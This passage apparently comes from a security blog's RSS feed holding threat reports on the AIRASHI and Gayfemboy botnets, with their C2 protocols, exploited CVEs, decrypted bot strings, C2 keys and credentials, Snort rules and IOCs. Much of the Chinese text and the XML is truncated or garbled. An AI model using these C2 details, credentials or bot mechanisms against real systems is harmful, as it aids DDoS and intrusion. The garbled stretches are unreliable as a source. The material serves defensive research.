 AIRASHI-DDoS supports a total of 13 message types, and the corresponding handling functions are stored in an array within the bot's code. Some of the handling functions for certain message types are still incomplete, suggesting that they may still be under development. <img src="https://blog.xlab.qianxin.com/content/images/2024/11/airashi_msg_handler.png" alt="Botnets Never Die: An Analysis of the Large Scale Botnet AIRASHI" loading="lazy">   AIRASHI-DDoS supports the following 13 message types, with some reserved for future development: <table> <thead> <tr> <th>MSG_Type</th> <th>Desc</th> </tr> </thead> <tbody> <tr> <td>0</td> <td>Get Net Key</td> </tr> <tr> <td>1</td> <td>Confirm Net Key</td> </tr> <tr> <td>2</td> <td>Confirm Login</td> </tr> <tr> <td>3</td> <td>Heartbeat</td> </tr> <tr> <td>4</td> <td>Start Attack</td> </tr> <tr> <td>5</td> <td>Exit</td> </tr> <tr> <td>6</td> <td>Killer Report</td> </tr> <tr> <td>7</td> <td>unknown</td> </tr> <tr> <td>8</td> <td>unknown</td> </tr> <tr> <td>9</td> <td>Disable Killer</td> </tr> <tr> <td>10</td> <td>Enable killer</td> </tr> <tr> <td>11</td> <td>Exec Command</td> </tr> <tr> <td>12</td> <td>Reverse Shell</td> </tr> </tbody> </table> On the other hand, AIRASHI-Proxy supports only 5 message types, with the first 4 types being identical to those in AIRASHI-DDoS. <table> <thead> <tr> <th>MSG_Type</th> <th>Desc</th> </tr> </thead> <tbody> <tr> <td>0</td> <td>Get Net Key</td> </tr> <tr> <td>1</td> <td>Confirm Net Key</td> </tr> <tr> <td>2</td> <td>Confirm Login</td> </tr> <tr> <td>3</td> <td>Heartbeat</td> </tr> <tr> <td>4</td> <td>Unknown</td> </tr> <tr> <td>5</td> <td>Prxoy</td> </tr> </tbody> </table> <h1 id="detection">Detection</h1> Due to the active exploitation of the cnPilot router 0Day vulnerability, we are unable to provide further details. However, we are providing Snort rules to assist defenders in identifying vulnerability attempts and potential infections in their environment. <pre><code>alert tcp any any -> any any (msg:"0DAY exploit #1 attempt"; content:"execute_script"; content:"sys_list"; content:"ASPSSIONID"; sid:1000007;) </code></pre> <h1 id="contact-us">Contact Us</h1> Readers are always welcomed to reach us on twitter. <h1 id="ioc">IOC</h1> <h2 id="c2">C2</h2> <pre><code>xlabresearch.ru xlabsecurity.ru foxthreatnointel.africa </code></pre> <h2 id="sha1">SHA1</h2> <pre><code>3c33aa8d1b962ec6a107897d80d34a5d0b99899e 0339415f8f3e2b1eb6b24ed08c3a311210893a6e 95c8073cc4d8b80ceddb8384977ddc7bbcb30d8c 12fda6d480166d8e98294745de1cfdcf52dbfa41 08b30f5ffa490e15fb3735d69545c67392ea24e9 c8b8bd5384eff0fe3a3a0af82c378f620b7dc625 </code></pre> <h2 id="downloader">Downloader</h2> <pre><code>190.123.46.21 Panama|Panama|Panama AS52284|Panamaserver.com 190.123.46.55 Panama|Panama|Panama AS52284|Panamaserver.com 95.214.52.167 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 162.220.163.14 United States|New Jersey|Secaucus AS19318|Interserver, Inc </code></pre>]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[僵尸永远不死：大型僵尸网络AIRASHI近况分析]]>
</title>
<description>
<![CDATA[<h1 id="%E6%A6%82%E8%BF%B0">概述</h1> 2024年8月XLab观察到一次有预谋的针对国&#x Steam 和 完美世界的大规模DDoS攻击事件。此]]>
</description>
<link>https://blog.xlab.qianxin.com/large-scale-botnet-airashi/</link>
<guid isPermaLink="false">677f9cd26bb47b000118ffc3</guid>
<category>
<![CDATA[CN]]>
</category>
<category>
<![CDATA[Botnet]]>
</category>

<category>
<![CDATA[DDoS]]>
</category>
<dc:creator>
<![CDATA[Wang Hao]]>
</dc:creator>
<pubDate>Wed, 15 Jan 2025 03:48:51 GMT</pubDate>
<media:content url="https://blog.xlab.qianxin.com/content/images/2025/01/aisuru_powerproof.2025-01-15-11.08.01-1.png" medium="image"/>
<content:encoded>
<![CDATA[<h1 id="%E6%A6%82%E8%BF%B0">概述</h1> <img
src="https://blog.xlab.qianxin.com/content/images/2025/01/aisuru_powerproof.2025-01-15-11.08.01-1.png"
alt="僵尸永远不死：大型僵尸网络AIRASHI近况分&#x
2024年8月XLab观察到<a
href="https://blog.xlab.qianxin.com/more_ddos_details_on_steam_en/">一次有预谋的针对国&#x
Steam 和 美世界的大规模DDoS攻击事件
。此次攻击行动分为四个波次，攻击者&#x
<code>AISURU</code>。本文将要分析的正是
<code>AISURU</code>僵尸网络的变种版本<code>AIRASHI</code>。
在上述攻击事件被曝光后，
<code>AISURU</code>僵尸网络在9月短暂收手，停止了攻&#x
<code>kitty</code>。11月底，新的变种再次出现并在样&#x
<code>AIRASHI</code>。
当前AIRASHI僵尸网络主要有以下几个特点:
使用美国Cambium
Networks公司的cnPilot路由器0DAY漏洞传播样本
样本字符串使用RC4加密，CNC通信协议部分&#x65
SHA256校验，使用chacha20加密 CNC域名使用<code>xlabresearch</code>,
<code>xlabsecurity</code>，
<code>foxthreatnointel</code>等关键字，调侃XLAB和安全研究人&#x545
 稳定的T级别DDoS攻击能力
控制端的IP资源较为丰富，域名解析的IP&#x5C06
CNC <code>xlabsecurity.ru</code> Passive DNS记录。可以看到
<code>xlabsecurity.ru</code>这个CNC
曾经解析到144个IP，这些IP分布在19个国家，10&#x4
System Number, ASN）。 <a href="https://blog.xlab.qianxin.com/content/images/2025/01/pdns.xlabsecurity.ru.png"
target="_blank"> <img src="https://blog.xlab.qianxin.com/content/images/2025/01/pdns.xlabsecurity.ru.png"
alt="僵尸永远不死：大型僵尸网络AIRASHI近况分&#x
width="860"> xlabsecurity.ru Passive DNS records <h1
id="%E6%A0%B7%E6%9C%AC%E4%BC%A0%E6%92%AD">样本传播</h1>
依托于XLab大网威胁感知系统的能力，我们
<code>AIRASHI</code>样本主要通过NDAY漏洞和TELNET弱口令传播&
<code>AIRASHI</code>自去年6月开始使用美国Cambium
Networks公司的cnPilot路由器0DAY漏洞传播样本，关于&#x8
<code>AIRASHI</code> 使用的漏洞如下： <table> <thead> <tr> <th>VULNERABILITY</th> </tr>
</thead> <tbody> <tr> <td><a href="http://a-mtk.com/wp-content/uploads/2015/06/Common-CGI-command-EN-20150331.pdf?
ref=blog.xlab.qianxin.com">AMTK Camera cmd.cgi Remote Code Execution</td> </tr> <tr> <td><a href="https://www.exploit-
db.com/exploits/39328?ref=blog.xlab.qianxin.com">Google Android ADB Debug Server - Remote Payload Execution</td> </tr> <tr> <td><a
href="https://www.exploit-db.com/exploits/40500?ref=blog.xlab.qianxin.com">AVTECH IP Camera / NVR / DVR Devices</td> </tr> <tr>
<td>cve_2013_3307</td> </tr> <tr> <td>cve_2016_20016</td> </tr> <tr> <td>cve_2017_5259</td> </tr> <tr> <td>cve_2018_14558</td> </tr> <tr>
<td>cve_2020_25499</td> </tr> <tr> <td>cve_2020_8515</td> </tr> <tr> <td>cve_2022_40005</td> </tr> <tr> <td>cve_2022_44149</td> </tr> <tr>
<td>cve_2023_28771</td> </tr> <tr> <td><a href="https://packetstormsecurity.com/files/132149/Gargoyle-1.5.x-Command-Execution.htm?
ref=blog.xlab.qianxin.com">Gargoyle Route run_commands.sh Remote Code Execution</td> </tr> <tr> <td><a
href="https://blog.netlab.360.com/multiple-botnets-are-spreading-using-lilin-dvr-0-day/?ref=blog.xlab.qianxin.com">LILIN Digital Video Recorder
Multiple Remote Code Execution</td> </tr> <tr> <td>CVE-2022-3573</td> </tr> <tr> <td>cnPilot 0DAY</td> </tr> <tr> <td><a
href="https://packetstormsecurity.com/files/162993/OptiLink-ONT1GEW-GPON-2.1.11_X101-Remote-Code-Execution.htm?ref=blog.xlab.qianxin.com">
OptiLink ONT1GEW GPON 2.1.11_X101</td> </tr> <tr> <td><a href="https://github.com/mcw0/PoC/blob/master/TVT-PoC.py?
ref=blog.xlab.qianxin.com">Shenzhen TVT Digital Technology Co. Ltd & OEM {DVR/NVR/IPC} API RCE</td> </tr> </tbody> </table> <h1
id="%E6%94%BB%E5%87%BB%E8%83%BD%E5%8A%9B%E4%B8%8E%E6%94%BB%E5%87%BB%E6%B4%BB%E5%8A%A8">攻击能力与攻击
</h1> <h2 id="%E6%94%BB%E5%87%BB%E8%83%BD%E5%8A%9B">攻击能力</h2>
僵尸网络运营者通常通过社交媒体（如
Telegram、Discord
或论坛）展示其攻击能力，目的是吸引&#x6F5C

<code>AIRASHI</code>僵尸网络正是通过这种方式来证明&#x
<a href="https://dvs.ops2.net/incident/5d1a34d8-3a1d-4c09-a77c-c29b20597c81?
ref=blog.xlab.qianxin.com">一次攻击能力证明： <a
href="https://blog.xlab.qianxin.com/content/images/2025/01/aisuru_powerproof.2025-01-15-11.08.01.png" target="_blank"> <img
src="https://blog.xlab.qianxin.com/content/images/2025/01/aisuru_powerproof.2025-01-15-11.08.01.png"
alt="僵尸永远不死：大型僵尸网络AIRASHI近况分&#x
width="860"> 可以看到图上的统计
当前攻击峰值: 3.11Tbps (270.52Mpps) 测试用户ID: 66XXXXXXXX
(此ID正是
<code>AIRASHI</code>僵尸网络Telegram运营频道管理员的ID)
更新时间: 2025-01-13 20:20:04 UTC 攻击来源
 <img
src="https://blog.xlab.qianxin.com/content/images/2025/01/--2025-01-14-14.31.09.png"
alt="僵尸永远不死：大型僵尸网络AIRASHI近况分&#x
loading="lazy">
<code>AIRASHI</code>的运营者一直在Telegram发布自己的DDoS能&#x529B
<code>AIRASHI</code>僵尸网络的攻击能力稳定在1-
3Tbps左右。 <img src="https://blog.xlab.qianxin.com/content/images/2025/01/aisuru_powerproof.2025-01-15-11.08.02.jpg"
alt="僵尸永远不死：大型僵尸网络AIRASHI近况分&#x
loading="lazy"> <h2 id="%E6%94%BB%E5%87%BB%E6%B4%BB%E5%8A%A8">攻击活动</h2>
<code>AIRASHI</code>僵尸网络的攻击目标遍布全球，分&#x
 <img src="https://blog.xlab.qianxin.com/content/images/2025/01/trends.airashi..56.44.png"
alt="僵尸永远不死：大型僵尸网络AIRASHI近况分&#x
loading="lazy"> <h1 id="%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90">样本分析</h1>
AIRASHI僵尸网络样本更新频繁，拥有多个版&#x67
和 AIRASHI为主要分析对象，从
字串解密，C2获取，通信协议，以及支&#x63
等方面入手，剖析僵尸网络的技术细&#x828
 <h2 id="part1-kitty-socks5-%E5%88%86%E6%9E%90">Part1: kitty-socks5 分析</h2>
kitty在2024年10月初开始传播，和Aisuru之前的样本&#x
 <h3 id="0x1-%E5%AD%97%E4%B8%B2%E8%A7%A3%E5%AF%86">0x1: 字串解密</h3>
字符串解码方面变化不大，解密方法仍&#x4
<code>DEADBEEFCAFEBABE1234567890ABCDEF</code>，字符串表项数缩减为7。
<img src="https://blog.xlab.qianxin.com/content/images/2024/11/tableinit.png"
alt="僵尸永远不死：大型僵尸网络AIRASHI近况分&#x
loading="lazy"> <h3 id="0x2-c2%E8%8E%B7%E5%8F%96">0x2: C2获取</h3>
C2获取方面，10月初删除了原先通过http获取C2ip
<code>|
</code>分割C2字符串，和之前一样每个域名都&#x670
 eg:<code>dvrhelpers.su|ipcamlover.ru|xlabresearch.ru|xlabsecurity.ru</code>
但在10月底添加socks5后，字符串表添加代理&#x9
<code>IP-PORT</code>的字节序列编码。 eg:
<code>\x7f\x00\x00\x01\x00\x50</code>代表<code>127.0.0.1:80</code> <h3 id="0x3-%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE">0x3:
网络协议</h3> 网络协议方面仍使用和
<code>Fodcha</code>僵尸网络类似的switch-
case进行各个阶段的处理
 <img
src="https://blog.xlab.qianxin.com/content/images/2024/11/net-switch-case.png"
alt="僵尸永远不死：大型僵尸网络AIRASHI近况分&#x
loading="lazy">
但在通信方面进行简化，最新样本使用sock

 <pre><code>username: jjktkegl password: 2bd463maabw5 </code></pre>
取消原先的密钥协商过程，通信流量也&#x4
<code>Kitty-Kitty-Kitty</code>，每隔2分钟向C2发生心跳包
<code>cat</code>，C2返回<code>meow!</code>作为响应。 <img
src="https://blog.xlab.qianxin.com/content/images/2024/11/socks5_protocol.png"
alt="僵尸永远不死：大型僵尸网络AIRASHI近况分&#x
loading="lazy">
指令类型仍以DDoS为主，添加了反向shell的功&#x
<code>cmdtype+payload</code>的结构，只是cmdtype的值进行更新，&#x8
 <table> <thead> <tr> <th>cmdtype</th> <th>desc</th> </tr> </thead> <tbody> <tr> <td>0x13</td> <td>reverse shell</td> </tr> <tr>
<td>0x2c</td> <td>stop attack</td> </tr> <tr> <td>0x4b</td> <td>start attack</td> </tr> <tr> <td>0xaf</td> <td>exit</td> </tr> </tbody>
</table> <h2 id="part2-airashi-%E5%88%86%E6%9E%90">Part2: AIRASHI 分析</h2>
目前发现了AIRASHI的3类样本： AIRASHI-
DDoS：最早发现于10月底，功能以DDoS为主，也&#x53
 Go-Proxisdk:
最早发现于11月底，由Go编写的基于muxado的代&#x74
 AIRASHI-Proxy：最早发现于12月初，魔改AIRASHI-
DDoS的同一套源码，使用私有协议实现代理&#x

AIRASHI和AISURU存在一些相似之处，如果说kitty是AISURU&#x7
<code>Go-
Proxisdk</code>后，又开发了自定义协议的代理工具
<code>AIRASHI-
Proxy</code>，似乎想要用全新的东西惊艳我们。
 <h3 id="0x1-rc4%E8%A7%A3%E5%AF%86%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%A7%A3%E5%AF%86">0x1:
RC4解密字符串解密</h3>
AIRASHI和AISURU在字符串解密方面有一些共性，&#x7EE7
<code>snow slide</code>；使用<code>|
</code>分割特殊字符串。Prxoy版本和DDoS版本的解&#x5BC6

有趣的是一些未被引用的字符串似乎在&#x5
<a
href="https://blog.xlab.qianxin.com/more_ddos_details_on_steam_cn/#aisuru%E5%83%B5%E5%B0%B8%E7%BD%91%E7%BB%9C%E6%8A%80%E6%9C%AF%E7%BB%86%E8%8A%
<pre><code>0 'snow slide' 1 'telnetd|upnpc-
static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uc
2 '/dvrEncoder|/dvrRecorder|/dvrDecoder|/rtspd|/ptzcontrol|/dvrUpdater' 3 'cve-2021-36260.ru' 4 'honeybooterz.cve-
2021-36260.ru' 5 'stun.l.google.com:19302' 6 '/proc/' 7 '/proc/self/exe' 8 '/proc/net/tcp' 9
'/proc/mounts' 10 '/cmdline' 11 '/exe' 12 '/status' 13 '/fd/' 14 'PPid:' 15
'/bin/|/sbin/|/usr/|/snap/' 16 'wget|curl|tftp|ftpget|reboot|chmod' 17 '/bin/login' 18 '/usr/bin/cat'
19 'processor' 20 '/proc/cpuinfo' 21 '/bin/busybox echo AIRASHI > /proc/sys/kernel/hostname' 22
'/bin/busybox AIRASHI' 23 'AIRASHI: applet not found' 24 'abcdefghijklmnopqrstuvw012345678' 25 'come on,
shake your body xlab, do the conga' 26 'i know you can't control yourself any longer' 27
'https://www.youtube.com/watch?v=ODKTITUPusM' 28 'dear researcher (xlab, foxnointel, ...), please refer to this malware as
AIRASHI. thank you!' </code></pre> <h3 id="0x2-c2%E8%8E%B7%E5%8F%96">0x2: C2获取</h3>
AIRASHI共使用了3种不同的C2获取方法： AIRASHI-
DDoS，在开发初期（10月底），使用最普通的&
 AIRASHI-
Proxy，通过DNS服务器获取C2的TXT记录，解析明文IP
 AIRASHI-
DDoS，在11月底，通过DNS服务器获取C2的TXT记录，b
  <img src="https://blog.xlab.qianxin.com/content/images/2024/12/airashi_c2_txt_record.png"
alt="僵尸永远不死：大型僵尸网络AIRASHI近况分&#x
loading="lazy"> DNS_TXT_CHACHA20_KEY: <code>8E12DF8893A638354D851BCB46B5B7DC451C6F52066305AC641DE60C80D11850</code>
DND_TXT_CHACHA20_NONCE: <code>941A247DDD53819F755FD59B</code>
值得注意的是，在12月3日<code>AIRASHI-
DDoS</code>的C2解析A记录和TXT记录同时存在，且解&#x5BC
 <h3 id="0x3-%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE">0x3: 网络协议</h3>
AIRASHI使用了全新的网络协议，用到的算法&#x67
SHA256和CHACHA20，使用HMAC校验消息并使用协商后的CHACH
   通信过程
每条消息被分为2部分：32字节消息HMAC校验&#x78

如下图首先会发送Header部分消息，确认消&#x606

 <img src="https://blog.xlab.qianxin.com/content/images/2024/11/airashi_msg.png"
alt="僵尸永远不死：大型僵尸网络AIRASHI近况分&#x
loading="lazy">
通信过程和之前一样使用状态码的switch-
case结构控制，分为4步： 密钥协商
获取32字节的CHACHA20_KEY和Nonce，之后的消息使用chacha20
SHA256的密钥。   密钥确认
使用chacha20加密发送消息类型为1的消息，验&#
  发送上线包
通过读取ELF头获取arch类型，上线包结构体&#x5
  <pre><code class="language-c">struct login{ uint8 uk1; uint8 uk2; uint8 uk3; uint32 stunIP; uint32 botid_len; char
botid[botid_len]; uint16 cpu_core_num; uint16 arch_type; } </code></pre> 上线确认
由C2返回消息类型为2的消息
实际产生的流量如下所示： <img
src="https://blog.xlab.qianxin.com/content/images/2024/11/airashi_net_protocol.png"
alt="僵尸永远不死：大型僵尸网络AIRASHI近况分&#x
loading="lazy">   消息类型
 AIRASHI-
DDoS共支持13种消息类型，对应的处理函数在b
 <img src="https://blog.xlab.qianxin.com/content/images/2024/11/airashi_msg_handler.png"
alt="僵尸永远不死：大型僵尸网络AIRASHI近况分&#x
loading="lazy">   <code>AIRASHI-
DDoS</code>一共支持以&#x0B;13种消息类型，还保留了&#
 <table> <thead> <tr> <th>MSG_Type</th> <th>Desc</th> </tr> </thead> <tbody> <tr> <td>0</td> <td>Get Net Key</td> </tr> <tr> <td>1</td>
<td>Confirm Net Key</td> </tr> <tr> <td>2</td> <td>Confirm Login</td> </tr> <tr> <td>3</td> <td>Heartbeat</td> </tr> <tr> <td>4</td> <td>Start
Attack</td> </tr> <tr> <td>5</td> <td>Exit</td> </tr> <tr> <td>6</td> <td>Killer Report</td> </tr> <tr> <td>7</td> <td>unknown</td> </tr> <tr>
<td>8</td> <td>unknown</td> </tr> <tr> <td>9</td> <td>Disable Killer</td> </tr> <tr> <td>10</td> <td>Enable killer</td> </tr> <tr> <td>11</td>
<td>Exec Command</td> </tr> <tr> <td>12</td> <td>Reverse Shell</td> </tr> </tbody> </table> 而<code>AIRASHI-
Proxy</code>则只支持5种消息类型，可以看出它们&#
 <table> <thead> <tr> <th>MSG_Type</th> <th>Desc</th> </tr> </thead> <tbody> <tr> <td>0</td> <td>Get Net Key</td> </tr> <tr> <td>1</td>
<td>Confirm Net Key</td> </tr> <tr> <td>2</td> <td>Confirm Login</td> </tr> <tr> <td>3</td> <td>Heartbeat</td> </tr> <tr> <td>4</td>
<td>Unknown</td> </tr> <tr> <td>5</td> <td>Prxoy</td> </tr> </tbody> </table> <h1 id="%E6%A3%80%E6%B5%8B">检测</h1>
鉴于cnPilot路由器漏洞正在被积极利用，我&#x4E
 <pre><code>alert tcp any any -> any any (msg:"cnPilot 0DAY exploit #1 attempt"; content:"execute_script";
content:"sys_list"; content:"ASPSSIONID"; sid:1000007;) </code></pre> <h1 id="contact-us">Contact Us</h1> Readers are
always welcomed to reach us on twitter. <h1 id="ioc">IOC</h1> <h2
id="c2">C2</h2> <pre><code>xlabresearch.ru xlabsecurity.ru foxthreatnointel.africa </code></pre> <h2 id="sha1">SHA1</h2> <pre>
<code>3c33aa8d1b962ec6a107897d80d34a5d0b99899e 0339415f8f3e2b1eb6b24ed08c3a311210893a6e 95c8073cc4d8b80ceddb8384977ddc7bbcb30d8c
12fda6d480166d8e98294745de1cfdcf52dbfa41 08b30f5ffa490e15fb3735d69545c67392ea24e9 c8b8bd5384eff0fe3a3a0af82c378f620b7dc625 </code></pre> <h2
id="downloader">Downloader</h2> <pre><code>190.123.46.21 Panama|Panama|Panama AS52284|Panamaserver.com 190.123.46.55 Panama|Panama|Panama
AS52284|Panamaserver.com 95.214.52.167 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 162.220.163.14 United States|New Jersey|Secaucus
AS19318|Interserver, Inc </code></pre>]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[Gayfemboy: A Botnet Deliver Through a Four-Faith Industrial Router 0-day Exploit.]]>
</title>
<description>

<![CDATA[<h1 id="overview">Overview</h1> Countless script kiddies, dreaming of getting rich, rush into the DDoS black-market industry armed with <code>Mirai</code> source code, imagining they can make a fortune with botnets. Reality, however, is harsh—these individuals arrive full of ambition but leave in dismay, leaving behind a series of Mirai variants that]]>
</description>
<link>https://blog.xlab.qianxin.com/gayfemboy-en/</link>
<guid isPermaLink="false">677ceb9d6bb47b000118ff4e</guid>
<category>
<![CDATA[EN]]>
</category>
<category>
<![CDATA[DDoS]]>
</category>
<category>
<![CDATA[Botnet]]>
</category>
<dc:creator>
<![CDATA[Wang Hao]]>
</dc:creator>
<pubDate>Tue, 07 Jan 2025 14:54:40 GMT</pubDate>
<media:content url="https://blog.xlab.qianxin.com/content/images/2025/01/--2025-01-07-19.39.18.png" medium="image"/>
<content:encoded>
<![CDATA[<h1 id="overview">Overview</h1> 

Countless script kiddies, dreaming of getting rich, rush into the DDoS black-market industry armed with <code>Mirai</code> source code, imagining they can make a fortune with botnets. Reality, however, is harsh—these individuals arrive full of ambition but leave in dismay, leaving behind a series of Mirai variants that survive no more than <code>3–4</code> days. However, today’s focus, <code>Gayfemboy</code>, is an exception. The <code>Gayfemboy</code> botnet was first discovered by XLab in early February 2024 and has remained active ever since. Its early versions were unremarkable—simply Mirai derivatives packed with UPX, showing no innovation. However, the developers behind it were clearly unwilling to remain mediocre. They launched an aggressive iterative development journey, starting with modifying registration packets, experimenting with UPX polymorphic packing, actively integrating N-day vulnerabilities, and even discovering 0-day exploits to continually expand Gayfemboy's infection scale. By early November 2024, Gayfemboy evolved further, leveraging a 0-day vulnerability in Four-Faith industrial routers and unknown vulnerabilities in Neterbit routers and Vimar smart home devices to spread its payloads. This discovery prompted us to conduct an in-depth analysis of this botnet. We <code>registered several C2 domains</code> to observe infected devices and measure the botnet’s scale. Our findings revealed that Gayfemboy operates with over 40 grouping categories and has more than 15,000 daily active nodes. Interestingly, when it detected our registration of its domains, it retaliated immediately with a DDoS attack—an act of notable hostility. With the capabilities of XLab’s <code>Cyber Threat Insight and Analysis</code> system, reviewing Gayfemboy’s evolution has allowed us to witness its transformation from an ordinary Mirai variant into today’s unique large-scale botnet, equipped with 0-day exploitation capabilities and a ferocious attack arsenal. February 12, 2024: XLab first discovered Gayfemboy samples, packed with a standard UPX shell. April 15, 2024: The UPX magic number was modified to <code>YTS\x99</code>, and the bot began using the <code>gayfemboy</code> registration packet. Early June 2024: The UPX magic number was changed to <code>1wom</code>. The bot code became relatively stable, with only occasional additions of new C2 domains. Late August 2024: Samples hardcoded six C2 domains, with the last three remaining unregistered. November 9, 2024: Gayfemboy was observed exploiting a 0-day vulnerability in Four-Faith industrial routers to deliver its samples. The samples were executed with the parameter <code>faith2</code>. November 17, 2024: We registered several unregistered domains found in Gayfemboy samples to observe infected devices and measure the botnet’s scale. November 23, 2024: Gayfemboy’s operators detected our registration of their C2 domains and began periodically launching DDoS attacks against the domains we registered. December 27, 2024: VulnCheck publicly disclosed the 0-day vulnerability information for Four-Faith industrial routers. <h1 id="exploitation-details">Exploitation Details</h1> Gayfemboy deliver its samples using more than 20 vulnerabilities and Telnet weak credentials. These include the Four-Faith industrial router 0-day vulnerability (now disclosed as CVE-2024-12856) and several unknown vulnerabilities affecting Neterbit and Vimar devices. (For ethical reasons and to prevent misuse, we will not discuss the undisclosed vulnerabilities in this article.) The primary vulnerabilities exploited by Gayfemboy are as follows: <table> <thead> <tr> <th>VULNERABILITY</th> </tr> </thead> <tbody> <tr> <td>cve_2013_3307</td> </tr> <tr> <td>cve_2014_8361</td> </tr> <tr> <td>cve_2016_20016</td> </tr> <tr> <td>cve_2017_17215</td> </tr> <tr> <td>cve_2017_5259</td> </tr> <tr> <td>cve_2020_25499</td> </tr> <tr> <td>cve_2020_9054</td> </tr> <tr> <td>cve_2021_35394</td> </tr> <tr> <td>cve_2023_26801</td> </tr> <tr> <td>CVE-2013-7471</td> </tr> <tr> <td>CNVD-2022-77903</td> </tr> <tr> <td>CVE-2024-8957,CVE-2024-8956</td> </tr> <tr> <td>CVE-2024-12856</td> </tr> <tr> <td>KGUARD DVR RCE</td> </tr> <tr> <td>Lilin DVR RCE</td> </tr> <tr> <td>OptiLink ONT1GEW GPON 2.1.11_X101 Build 1127.190306 - Remote Code</td> </tr> <tr> <td>TVT editBlackAndWhiteList RCE</td> </tr> <tr> <td>ZTE ZXV10 H108L Router RCE</td> </tr> <tr> <td>Anheng DAS TGFW sslvpn RCE</td> </tr> </tbody> </table> <h1 id="bot-scale">BOT Scale</h1> <h2 id="bot-ip-count-trend">BOT IP Count Trend</h2> Based on the data we collected, the Gayfemboy botnet maintains approximately 15,000 daily active Bot IPs.

loading="lazy"> The primary infections are distributed across regions including China, the United States, Iran, Russia, and Turkey.

loading="lazy"> <h2 id="main-infected-devices">Main Infected Devices</h2> When Gayfemboy bots connect to the C2, they carry grouping information used to identify and organize infected devices, enabling attackers to efficiently manage and control the large botnet. This grouping information typically includes key identifiers, such as the device's operating system type or other identifying details. Many attackers also prefer to use the infection method as an identifier. Gayfemboy’s grouping information is based on device details. The main infected devices are as follows: <table> <thead> <tr> <th>Group</th> <th>Count of Bot IP</th> <th>Method of Infection</th> <th>Affected Device</th> </tr> </thead> <tbody> <tr> <td>adtran</td> <td>2707</td> <td>Unknown</td> <td>Unknown</td> </tr> <tr> <td>asus</td> <td>2080</td> <td>NDAY</td> <td>ASUS Router</td> </tr> <tr> <td>bdvr7</td> <td>1461</td> <td>NDAY</td> <td>Kguard DVR</td> </tr> <tr> <td>peeplink</td> <td>1422</td> <td>Unknown</td> <td>Neterbit、LTE、CPE、NR5G Router</td> </tr> <tr> <td>faith2</td> <td>590</td> <td>0DAY(CVE-2024-12856)</td> <td>Four-Faith Industrial Router</td> </tr> <tr> <td>vimar7</td> <td>442</td> <td>Unknown</td> <td>Vimar Smart Home Device</td> </tr> </tbody> </table> <h1 id="ddos-analysis">DDoS Analysis</h1> <h2 id="attack-targets">Attack Targets</h2> The Gayfemboy botnet has launched intermittent attacks from February 2024 to the present, with the highest frequency of attacks occurring in October and November of the previous year. The botnet targets hundreds of different entities each day. The attack targets are spread across the globe, covering various industries. The main attack targets are concentrated in regions such as China, the United States, Germany, the United Kingdom, and Singapore. The attack target trend is as follows:

loading="lazy"> Geographical distribution of attack targets:

loading="lazy"> <h2 id="attack-capabilities">Attack Capabilities</h2> We resolved the registered Gayfemboy domains to a VPS from a cloud provider. After Gayfemboy’s operators discovered this, they began regularly launching DDoS attacks against our registered domains, with each attack lasting between 10 to 30 seconds. When the cloud provider detected that our VPS was being attacked, they would immediately blackhole route the VPS traffic for over 24 hours, making our VPS unavailable and inaccessible. Once the VPS service was restored, Gayfemboy would attack again. Since we had not purchased DDoS protection, we ultimately decided to stop resolving Gayfemboy’s domains. Some attack command records are shown in the figure below:

loading="lazy"> According to the traffic monitoring service provided by the cloud provider, the DDoS attack traffic from Gayfemboy is estimated to be around <code>100GB</code>.

loading="lazy"> <h1 id="sample-analysis">Sample Analysis</h1> This family uses a modified UPX shell. The early versions employed the magic number <code>YTS\x99</code>, while since June 2024, it has started using the unique magic number <code>1wom</code>.

loading="lazy"> The code is based on Mirai with the following modifications: <ul> Removed the Mirai string table and used plaintext strings. Added a function to hide the process ID (pid). Modified the registration packet to "gayfemboy." Added new command functionalities. To increase analysis difficulty and protect the program, botnet developers often encrypt strings. However, the developer behind this botnet seems to neglect string protection, as all strings are in plaintext. After the sample runs, it outputs <code>we gone now\n</code>, a feature that has remained unchanged since the discovery of the sample.

loading="lazy"> To hide the malicious process, the sample attempts to find writable directories starting from the root directory upon startup. It then tries to write a random 2032-byte file named <code>test_write</code> as a test. If successful, the file is deleted. The sample will skip the following directories: <pre><code>/proc /sys /dev/fd /boot </code></pre> When a writable directory is found, the sample attempts to mount the directory to <code>/proc/<pid></code>, making the process invisible in the <code>/proc</code> filesystem and thereby hiding the specified PID.

loading="lazy"> In terms of the network protocol, the botnet retains the Mirai command format but modifies the
</content:encoded>
</item>
</channel>
</rss>

registration packet and adds new command functionalities: <table> <thead> <tr> <th>cmd_id</th> <th>desc</th> </tr> </thead> <tbody> <tr> <td>14</td> <td>update self</td> </tr> <tr> <td>18</td> <td>start scan</td> </tr> <tr> <td>19</td> <td>stop scan</td> </tr> <tr> <td>23</td> <td>attack kill all</td> </tr> <tr> <td>24</td> <td>kill attack ip</td> </tr> </tbody> </table> The standard DDoS-related commands include: <img src="https://blog.xlab.qianxin.com/content/images/2025/01/attack_init.png" alt="Gayfemboy: A Botnet Deliver Through a Four-Faith Industrial Router 0-day Exploit." loading="lazy"> Upon receiving a self-update command, the sample retrieves the download server and bot ID from the command. By default, it uses <code>meowware.ddns.net</code> as the download server. The sample also hardcodes multiple command format strings related to downloading. <img src="https://blog.xlab.qianxin.com/content/images/2025/01/download_cmd.png" alt="Gayfemboy: A Botnet Deliver Through a Four-Faith Industrial Router 0-day Exploit." loading="lazy"> The purpose is to use <code>wget</code> to download files from a fixed directory <code>chefrvmanabat</code>, with the bot ID passed as a parameter for execution. Upon receiving a scanning command, the sample parses multiple custom parameters from the command, such as the scanning port, reporting server, reporting port, and validation of the response packet. <img src="https://blog.xlab.qianxin.com/content/images/2025/01/scan_report.png" alt="Gayfemboy: A Botnet Deliver Through a Four-Faith Industrial Router 0-day Exploit." loading="lazy"> <h1 id="conclusion">Conclusion</h1> DDoS (Distributed Denial of Service) is a highly reusable and relatively low-cost cyberattack weapon. It can launch large-scale traffic attacks instantly using distributed botnets, malicious tools, or amplification techniques, 